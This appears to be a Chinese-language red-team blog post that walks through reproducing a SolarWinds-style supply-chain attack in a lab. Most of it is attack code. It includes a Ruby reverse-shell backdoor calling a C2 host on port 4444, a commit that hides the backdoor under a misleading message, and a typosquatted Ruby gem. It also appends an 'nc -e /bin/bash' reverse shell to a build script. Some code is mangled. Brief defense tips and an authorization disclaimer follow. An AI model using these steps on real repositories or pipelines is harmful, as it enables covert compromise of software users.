一、SolarWinds供应链攻击背后的启示
2020年末，SolarWinds供应链攻击事件一石激起千层浪。这次攻击不仅影响了全球范围内数万客户，也让整个安全行业开始重新审视「供应链」这个长期被低估的攻击面。攻击者通过在 SolarWinds Orion 软件更新包中植入后门，成功感染了多个政府部门和企业网络。更令人震惊的是，攻击持续了数月才被发现。
如果我们以攻击者的视角来看这次事件，可以发现供应链攻击的核心在于利用信任关系。当目标企业在无防备的情况下更新可信供应商的软件，攻击者早已悄然潜伏。这种攻击方式隐蔽性强、影响范围广，堪称“杀人于无形”。
这篇文章将从攻击者的角度，探讨如何构造类似的供应链攻击场景，并分享工具使用技巧和免杀思路，但请注意，本文仅限于授权环境下的安全研究。
---
二、供应链攻击的技术本质
信任链的滥用
供应链攻击的核心技术是信任链的滥用。企业网络通常会信任来自特定供应商的更新包或代码仓库，将这些内容视为“可信来源”。攻击者一旦能够获取供应商的源代码访问权限，或者控制其构建服务器，就可以在软件中植入恶意代码。
具体的攻击流程如下：
- 目标选择：锁定一家拥有广泛用户基础的供应商，例如提供企业服务的 SaaS 公司。
- 突破供应商防线：通过网络钓鱼、漏洞利用或内网渗透，获取供应商的开发环境权限。
- 代码注入：在供应商的代码仓库中插入后门代码。
- 感染目标客户：当供应商的客户下载安装受污染的更新包后，后门被激活。
常见攻击手段分析
以下是几种常见的供应链攻击手段：
- CI/CD 环境劫持：直接渗透供应商的构建流水线，在构建的阶段注入后门。
- 依赖劫持（Dependency Hijacking）：发布一个与目标依赖包名称类似的恶意库，诱导开发者错误下载。
- 代码审查漏洞：利用开发者代码审查中的疏忽，将恶意代码混入正常的提交中。
---
三、复现一个简单的供应链攻击场景
为了更好地理解供应链攻击的技术细节，我们可以在本地环境中复现一个简单场景。
环境准备
- 操作系统：Kali Linux 攻击机 和 Ubuntu 受害机
- 必备工具：Ruby、Gitea（代码托管平台）、Docker
- 目标软件：模拟一款企业使用的开源软件
环境搭建步骤
<pre><code class="language-shell"># 安装 Gitea 作为代码托管平台 sudo docker run -d --name=gitea -p 3000:3000 gitea/gitea:latest
创建一个仓库，用于模拟供应商的代码库
curl -X POST "http://127.0.0.1:3000/api/v1/admin/users" \ -H "Content-Type: application/json" \ -d '{"username":"supplier","password":"securepassword","email":"[email protected]"}'
克隆代码仓库到本地
git clone http://127.0.0.1:3000/supplier/test-app.git cd test-app
初始化一个简单的 Ruby 应用
echo "puts 'Hello, this is a test app!'" > app.rb git add . git commit -m "Initial commit" git push origin main</code></pre>
---
植入后门
在供应商的代码中，我们可以植入一个简单的反向 Shell 后门。
后门代码
以下是一个 Ruby 的反向 Shell： <pre><code class="language-ruby">require 'socket'
攻击者的 C2 地址
c2_host = '192.168.1.100' c2_port = 4444
begin sock = TCPSocket.new(c2_host, c2_port) sock.puts "[INFO] Connection established from #{Socket.gethostname}"
while cmd = sock.gets.chomp output = #{cmd} sock.puts output end rescue
如果出错就静默退出
end</code></pre>
将上述代码植入到 app.rb 文件中，并提交到仓库： <pre><code class="language-shell">echo "require_relative './backdoor.rb'" >> app.rb git add . git commit -m "Added new functionality" git push origin main</code></pre>
---
部署更新
当受害者从代码仓库拉取更新并运行时，后门会自动启动： <pre><code class="language-shell"># 受害者更新代码 git pull origin main ruby app.rb</code></pre>
在攻击者的 C2 服务器中，可以收到连接： <pre><code class="language-shell">nc -lvp 4444
输出：
[INFO] Connection established from victim-hostname</code></pre>
---
四、从依赖劫持到 CI/CD 劫持
依赖劫持的攻击思路
依赖劫持是供应链攻击中另一个常见的场景。攻击者可以利用开发者的疏忽，有意创建一个与合法包名称相似的恶意包。例如，将合法包 test-helper 替换为恶意的 test_helper。
模拟场景
- 攻击者创建一个恶意包：
`shell mkdir test_helper cd test_helper echo "puts 'Malicious code executed!'" > init.rb gem build test_helper.gemspec gem push test_helper-0.1.0.gem `
- 开发者无意中安装：
`shell gem install test_helper `
- 恶意代码被执行，完成攻击。
CI/CD 流水线劫持
在 CI/CD 环境中，通常会以自动化的方式部署和发布软件。如果攻击者可以篡改流水线中的构建脚本，就能轻松植入恶意代码。
攻击步骤
- 渗透供应商的 Jenkins 或 GitHub Actions。
- 替换构建脚本中的某些步骤，例如：
`shell
在构建时添加后门
echo "nc -e /bin/bash 192.168.1.100 4444 &" >> build.sh `
---
五、防御与思考
虽然供应链攻击的技术本质并不复杂，但其隐蔽性和破坏力极高。以下是一些防御建议：
- 代码审查：对每一次代码提交进行严格审查。
- 依赖安全检查：使用工具（如 Snyk、Dependabot）扫描依赖的安全性。
- CI/CD 安全：对流水线的访问权限进行严格限制，并对构建产物进行完整性校验。
---
六、个人经验总结
供应链攻击的防御难度在于信任链的复杂性。作为红队人员，我经常利用企业对供应商的天然信任作为突破口。在进行安全测试时，建议从以下几个方面入手：
- 模拟多个场景：不仅关注代码注入，还要关注环境变量、构建脚本等。
- 关注更新流程：分析目标企业的更新机制，寻找潜在的漏洞。
- 构造真实的攻击链：从 C2 到后门，尽可能完整地复现真实场景。
最后，请记住：所有安全研究和测试必须在获得授权的情况下进行，否则将面临法律风险。